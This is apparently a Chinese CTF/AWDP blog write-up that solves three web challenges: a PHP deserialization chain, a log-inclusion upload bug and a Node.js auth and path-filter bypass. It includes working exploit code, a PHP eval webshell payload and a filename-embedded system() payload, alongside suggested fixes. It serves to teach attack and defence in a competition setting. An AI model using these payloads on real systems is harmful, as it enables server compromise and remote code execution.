2025领航杯-awdp


ez_php

先看哪可以执行命令,utils下找到FileWriter类可以写马,但是要调用__toString魔术

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class FileWriter {
    public $path;
    public $content;

    public function __toString() {
        file_put_contents($this->path, $this->content);
        return "PDF Export Complete".$this->path;
    }
}

controllers下ExportController有反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
require_once "app/models/Report.php";
require_once "app/services/Template.php";
require_once "app/services/PDFEngine.php";
require_once "app/services/Logger.php";    
require_once "app/utils/FileWriter.php";
require_once "app/utils/CacheCleaner.php";  
require_once "app/utils/Debugger.php";      


class ExportController {
    public function handle() {
        $type = $_GET['type'] ?? "json";

        if ($type === "pdf") {
            $cookie = $_COOKIE['session_cache'] ?? "";

            if (!empty($cookie)) {
                $data = base64_decode($cookie);

                // $data   = openssl_decrypt($cookie, "AES-128-ECB", "secretkey", OPENSSL_RAW_DATA);

                if ($data !== false) {
                    $obj = @unserialize($data);
                } else {
                    $obj = false;
                }

                if ($obj instanceof Template) {
                    echo $obj->render();
                } else {
                    echo "Invalid report format";
                }
            } else {
                echo "No session cache";
            }
        } elseif ($type === "json") {
            $id     = $_GET['id'] ?? 1;
            $report = Report::find($id);

            if ($report) {
                echo json_encode($report->toArray());
            } else {
                echo json_encode(["error" => "Report not found"]);
            }
        } else {
            echo "Unsupported export type";
        }
    }
}

然后在services下发现了 Logger 类有destruct

1
2
3
4
5
6
7
8
<?php

class Logger {
    public $msg;
    function __destruct() {
        error_log("LOG: ".$this->msg);
    }
}

这也是pop的头链,刚好error_log("LOG: ".$this->msg);会将$this->msg当作字符处理,可以触发__toString魔术,所以链子写完

1
ExportController->Logger->FileWriter

所以exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Logger
{
    public $msg;
    function __destruct()
    {
        error_log("LOG: " . $this->msg);
    }
}
class FileWriter
{
    public $path;
    public $content;

    public function __toString()
    {
        file_put_contents($this->path, $this->content);
        return "PDF Export Complete" . $this->path;
    }
}

$a = new Logger();
$a->msg = new FileWriter();
$a->msg->path = "D:\phpStudy\PHPTutorial\WWW\shell.php";	#由于是phpstudy搭的,所以路径改一下
$a->msg->content = "<?php eval(\$_POST[1]); ?>";
echo base64_encode(serialize($a));

然后找是调用了ExportController,Router.php里面实例化调用了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function dispatch() {
        $uri = $_SERVER['REQUEST_URI'] ?? '';
        $queryStringPos = strpos($uri, '?');
        if ($queryStringPos !== false) {
            $uri = substr($uri, 0, $queryStringPos);
        }

        $uri = rtrim($uri, '/');#从字符串的末尾(右侧)移除指定的字符/

        switch (true) {
            case $uri === '/' || $uri === '':
                require "app/views/home.php";
                break;
            
            case $uri === '/report' || $uri === '/report/list' || strpos($uri, '/report/') === 0:
                require_once "app/controllers/ReportController.php";
                $controller = new ReportController();
                if (isset($_GET['id']) && !empty($_GET['id'])) {
                    $controller->detail();
                } else {
                    $controller->index();
                }
                break;

            case $uri === '/export' || strpos($uri, '/export/') === 0:
                require_once "app/controllers/ExportController.php";
                $controller = new ExportController();
                $controller->handle();
                break;

            default:
                http_response_code(404);
                echo "404 Not Found";
                break;
        }
    }

但是要满足路由是/export才调用ExportController.php,然后index.php调用了Router.php

1
2
3
4
5
6
7
8
9
<?php

session_start();

require_once 'app/core/Router.php';

$router = new Router();

$router->dispatch();

所以只需要在export路由打如下,发现shell.php写进去了

image-20251214215056426

1
修改就是改$data   = openssl_decrypt($cookie, "AES-128-ECB", "secretkey", OPENSSL_RAW_DATA);攻击者不知道密钥 (secretkey) 就无法伪造有效的序列化数据,也就无法触发漏洞。

点评:

此题本题搭建需要自己写一个.htaccess配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Options +FollowSymLinks +Indexes
DirectoryIndex index.php

<IfModule mod_authz_core.c>
    Require all granted
</IfModule>
<IfModule !mod_authz_core.c>
    Order allow,deny
    Allow from all
</IfModule>

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]

RewriteRule ^ index.php [L]

为什么?因为RewriteRule ^ index.php这就告诉服务器:不管用户请求什么路径(只要不是真实存在的文件),统统把请求交给index.php 处理。所以 /export但服务器实际执行的文件是 index.php,这就到了我们的链子,这也解决了我开始为啥本地访问/export会404的问题,也解决了我疑惑–为啥访问/eport路由才能进入ExportController.php,但是我不是要访问/index.php路由才能到Router.php调用ExportController.php。

ez_blog

考点:文件名写马

漏洞点应该是users.php,可以包含upload.log,而这个可控

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
if (isset($_GET['action']) && $_GET['action'] === 'viewlog') {
    $logfile = __DIR__ . "/../upload.log";
    if (file_exists($logfile)) {
        include($logfile);
    } else {
        echo "暂无日志";
    }
}
?>

可控upload.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
<?php
session_start();

function checkFileNameLength($name)
{
    return strlen($name) <= 25;
}

function checkFileExtension($ext, $allowed)
{
    return in_array($ext, $allowed);
}

function isBlacklisted($name, $blacklist)
{
    foreach ($blacklist as $bad) {
        if (stripos($name, $bad) !== false)
            return true;
    }
    return false;
}

function verifyToken($filename, $filesize, $ts, $token, $secret)
{
    $realToken = sha1($filename . $filesize . $ts . $secret);
    return hash_equals($realToken, $token);
}

function detectMime($tmp)
{
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $tmp);
    finfo_close($finfo);
    return $mime;
}

function isValidImage($tmp)
{
    if (!@getimagesize($tmp))
        return false;
    return strpos(detectMime($tmp), "image/") === 0;
}

function saveFile($tmp, $dir)
{
    if (!file_exists($dir))
        mkdir($dir, 0755, true);
    $newName = sha1_file($tmp) . ".safe";
    $savePath = $dir . $newName;
    move_uploaded_file($tmp, $savePath);
    return $savePath;
}

function writeLog($filename, $filesize, $mime, $savePath)
{
    $logline = sprintf(
        "[%s] 上传文件: %s (%d bytes) MIME=%s 保存路径=%s\n",
        date("Y-m-d H:i:s"),
        $filename,
        $filesize,
        $mime,
        $savePath
    );
    file_put_contents(__DIR__ . "/upload.log", $logline, FILE_APPEND);
}

function updateStats($filesize)
{
    $statsFile = __DIR__ . "/stats.log";
    $stats = @file_get_contents($statsFile);
    list($count, $totalSize) = $stats ? explode(",", $stats) : [0, 0];
    $count = (int) $count + 1;
    $totalSize = (int) $totalSize + $filesize;
    file_put_contents($statsFile, "$count,$totalSize");
}

function simulateProgress()
{
    for ($i = 0; $i <= 100; $i += 25)
        usleep(10000);
}

function fakeVirusScan($tmp)
{
    $content = @file_get_contents($tmp);
    return strpos($content, "eval(") === false;
}

function generateThumbnail($tmp, $ext)
{
    if ($ext === "jpg" && function_exists("imagecreatefromjpeg")) {
        $img = @imagecreatefromjpeg($tmp);
        if ($img) {
            $thumb = imagescale($img, 50, 50);
            imagedestroy($thumb);
            imagedestroy($img);
        }
    }
}

function checkUserRole()
{
    return true;
}

function calculateEntropy($tmp)
{
    $data = @file_get_contents($tmp);
    if (!$data)
        return 0;
    $h = 0;
    $len = strlen($data);
    foreach (count_chars($data, 1) as $count) {
        $p = $count / $len;
        $h -= $p * log($p, 2);
    }
    return $h;
}

$file = $_FILES['file'] ?? null;
$user_token = $_POST['token'] ?? '';
$user_ts = $_POST['ts'] ?? '';
if (!$file)
    die("没有文件上传");

$filename = basename($file['name']);
$filesize = $file['size'];
$tmp = $file['tmp_name'];
$secret = "secret_key";
$allowed_ext = ["jpg", "jpeg", "png", "gif"];
$max_size = 5 * 1024 * 1024;

if ($filesize > $max_size)
    die("文件太大");
if (!checkFileNameLength($filename))
    die("文件名过长");

$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!checkFileExtension($ext, $allowed_ext))
    die("不支持的文件类型");
if (isBlacklisted($filename, ["php", "phtml", "phar", "asp", "jsp"]))
    die("文件名不合法");
if (!verifyToken($filename, $filesize, $user_ts, $user_token, $secret))
    die("token error");
if (!isValidImage($tmp))
    die("文件内容不是合法图片");
if (!fakeVirusScan($tmp))
    die("检测到潜在风险");

$mime = detectMime($tmp);
$savePath = saveFile($tmp, __DIR__ . "/uploads/");

writeLog($filename, $filesize, $mime, $savePath);
updateStats($filesize);
simulateProgress();
generateThumbnail($tmp, $ext);
checkUserRole();
calculateEntropy($tmp);

echo "上传成功!";

发现,我们可以控制filename写恶意命令进upload.log,也就是文件名写马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function writeLog($filename, $filesize, $mime, $savePath)
{
    $logline = sprintf(
        "[%s] 上传文件: %s (%d bytes) MIME=%s 保存路径=%s\n",
        date("Y-m-d H:i:s"),
        $filename,
        $filesize,
        $mime,
        $savePath
    );
    file_put_contents(__DIR__ . "/upload.log", $logline, FILE_APPEND);
}

这两行注意一下

1
2
3
4
if (!verifyToken($filename, $filesize, $user_ts, $user_token, $secret))
    die("token error");
if (!isValidImage($tmp))
    die("文件内容不是合法图片");

token检测写个代码过(除了filesize可控参数,filesize我们可以看上传文件的属性得到)

1
2
3
4
5
6
7
<?php
$filename = "<?=system('dir');?>.jpg";
$filesize = 670;
$ts = 1;
$secret = "secret_key";
$realToken = sha1($filename . $filesize . $ts . $secret);
echo $realToken;

isValidImage怎么过?看代码,要上传一个真实的图片

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function detectMime($tmp)//检查MIME类型
{
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $tmp);
    finfo_close($finfo);
    return $mime;
}

function isValidImage($tmp)
{
    if (!@getimagesize($tmp))
        return false;
    return strpos(detectMime($tmp), "image/") === 0;
}

最后得到

image-20251215221439096 image-20251215221459358

解决,防御的话文件名过滤<与?差不多。

点评:

1
这题当傻子了,因为代码没给login.php我说咋登入不了,进入不到login.php,是直接将session移除了,自己写个上传文件的表单,后面发现users.php有上传文件的点,不过值得肯定是,这题的代码漏洞过程基本手动挖掘,卡在getimagesize()了一会,其是检测文件是否是图片,得上传真实图片

node

这个js代码2个逻辑漏洞

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
const express = require('express');
const cookieParser = require('cookie-parser');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = process.env.PORT || 3000;

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser(process.env.COOKIE_SECRET || 'ctf_secret_where'));

const CACHE = {
  users: {
    
  }
};

app.set('view engine', 'ejs');
app.use(express.static('public'));
app.use(express.urlencoded({ extended: true }));

function waf(username) {
  return String(username || '').replace(/[\{\}%()_]/g, '');
}

function getUsername(req) {
  return req.signedCookies && req.signedCookies.username ? req.signedCookies.username : '';
}
function isLogin(req) {
  return req.signedCookies && req.signedCookies.logged === '1';
}

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const user = getUsername(req) || 'anonymous';
    const dir = path.join(__dirname, 'media', user);
    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
    cb(null, dir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});
const upload = multer({ storage });

const adminDir = path.join(__dirname, 'media', 'admin');
if (!fs.existsSync(adminDir)) fs.mkdirSync(adminDir, { recursive: true });

app.post('/admin', (req, res) => {
  if (!isLogin(req) && getUsername(req) !== 'admin') {
    return res.redirect('/');
  }

  const filepathRaw = String(req.body.filepath || '');

  for (const bc of ['.','/', '*']) {
    if (filepathRaw.includes(bc)) {
      return res.send('no no no');
    }
  }

  let filepath;
  try {
    filepath = decodeURIComponent(filepathRaw);
  } catch (e) {
    return res.status(400).send('bad encoding');
  }

  try {
    const full = path.resolve(filepath);

    if (!fs.existsSync(full) || !fs.statSync(full).isFile()) {
      return res.status(404).send('file not found');
    }
    return res.download(full, path.basename(full));
  } catch (e) {
    return res.status(500).send('error');
  }
});

app.get('/download', (req, res) => {
  if (!isLogin(req)) return res.redirect('/login');
  const user = getUsername(req);
  const dir = path.join(__dirname, 'media', user);
  let dirs = [];
  try {
    dirs = fs.existsSync(dir) ? fs.readdirSync(dir) : [];
  } catch (e) {
    dirs = [];
  }
  // render download.ejs with dirs
  return res.render('download', { username: user, dirs, message: null });
});

app.post('/download', (req, res) => {
    if (!isLogin(req)) return res.redirect('/login');
  
    const user = getUsername(req);
    const filename = String(req.body.filename || '').trim();
    const userDir = path.join(__dirname, 'media', user);
  
    // 读取用户目录文件列表(用于渲染页面)
    const dirs = fs.existsSync(userDir) ? fs.readdirSync(userDir) : [];
  
    // 空名处理
    if (!filename) {
      return res.render('download', { username: user, dirs, message: '请选择要下载的文件' });
    }
  
    try {
      // 解析目标绝对路径
      const target = path.resolve(userDir, filename);
      const rel = path.relative(userDir, target);
      const inUserDir = (rel === '' || (!rel.startsWith('..') && !path.isAbsolute(rel)));
  
      const basename = path.basename(target).toLowerCase();
      if (basename.includes('flag')) {
        return res.render('download', { username: user, dirs, message: '该文件禁止下载' });
      }
      
      if (!inUserDir) {
        return res.render('download', { username: user, dirs, message: '无法下载该文件(路径非法)' });
      }
      
      if (!fs.existsSync(target) || !fs.statSync(target).isFile()) {
        return res.render('download', { username: user, dirs, message: '无法下载该文件' });
      }
      return res.download(target, path.basename(target));
    } catch (err) {
      console.error('download error:', err);
      return res.render('download', { username: user, dirs, message: '下载失败(服务器错误)' });
    }
  });  

app.get('/', (req, res) => res.redirect('/index'));
app.get('/index', (req, res) => {
  const username = (!req.session || !req.session.username) ? 'visitor' : req.session.username;
  return res.render('index', { username: getUsername(req), message: null });
});

app.get('/register', (req, res) => {
    return res.render('register', { username: getUsername(req), message: null });
});
app.post('/register', (req, res) => {
  let username = String(req.body.username || '');
  let password = String(req.body.password || '');

  username = waf(username);
  if (username in CACHE.users) {
    return res.render('register', { username: getUsername(req), message: '用户已存在 ' });
  } else {
    CACHE.users[username] = password;
    const dir = path.join(__dirname, 'media', username);
    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });      
    return res.render('login', { username: getUsername(req), message: '注册成功,请登录' });
  }
});

app.get('/login', (req, res) => {
    return res.render('login', { username: getUsername(req), message: null });
});
app.post('/login', (req, res) => {
  const username = String(req.body.username || '');
  const password = String(req.body.password || '');
  if (username in CACHE.users && CACHE.users[username] === password) {
    res.cookie('username', username, { signed: true });
    res.cookie('logged', '1', { signed: true });
    return res.render('upload', { username: getUsername(req), message: '登录成功' });
  } else {
    return res.render('login', { username: getUsername(req), message: '用户名或密码错误' });
  }
});

app.get('/logout', (req, res) => {
  if (req.session) {
    return req.session.destroy(err => {
      try { res.clearCookie('connect.sid'); } catch(e) {}
      try { res.clearCookie('username'); } catch(e) {}
      try { res.clearCookie('logged'); } catch(e) {}
      return res.redirect('/');
    });
  }

  try { res.clearCookie('username'); } catch (e) {}
  try { res.clearCookie('logged'); } catch (e) {}

  return res.redirect('/');
});

app.get('/upload', (req, res) => {
  if (!isLogin(req)) return res.redirect('/login');
  return res.render('upload', { username: getUsername(req), message: null });
});
app.post('/upload', upload.single('file'), (req, res) => {
  if (!isLogin(req)) return res.redirect('/login');
  if (req.file) {
    return res.render('upload', { username: getUsername(req), message: '文件上传成功' });
  } else {
    return res.render('upload', { username: getUsername(req), message: '上传失败' });
  }
  try {
    // multer 已保存文件
    return res.json({ code: 200 });
  } catch (e) {
    return res.json({ code: 500 });
  }
});

app.use((req, res) => {
    res.status(404).render('index', { username: getUsername(req), message: '页面不存在' });
  });
app.listen(PORT, '0.0.0.0', () => {
  console.log(`Server running at http://localhost:${PORT}`);
});

第一个漏洞在

1
2
3
4
5
app.post('/admin', (req, res) => {
  if (!isLogin(req) && getUsername(req) !== 'admin') {
    return res.redirect('/');
  }
});

这个代码意思是如果(没登录)且(用户名不是admin),则拒绝访问,应该改成||,第二个漏洞是这

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
const filepathRaw = String(req.body.filepath || '');

  // 1. 黑名单检查
  for (const bc of ['.','/', '*']) {
    if (filepathRaw.includes(bc)) {
      return res.send('no no no');
    }
  }

  let filepath;
  try {
    // 2. URL 解码
    filepath = decodeURIComponent(filepathRaw);
  } catch (e) { ... }

  try {
    const full = path.resolve(filepath);
    // ...
    return res.download(full, path.basename(full));

先waf检测,再url解码,这样等于没waf,直接双url编码即可绕过

adlogin

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计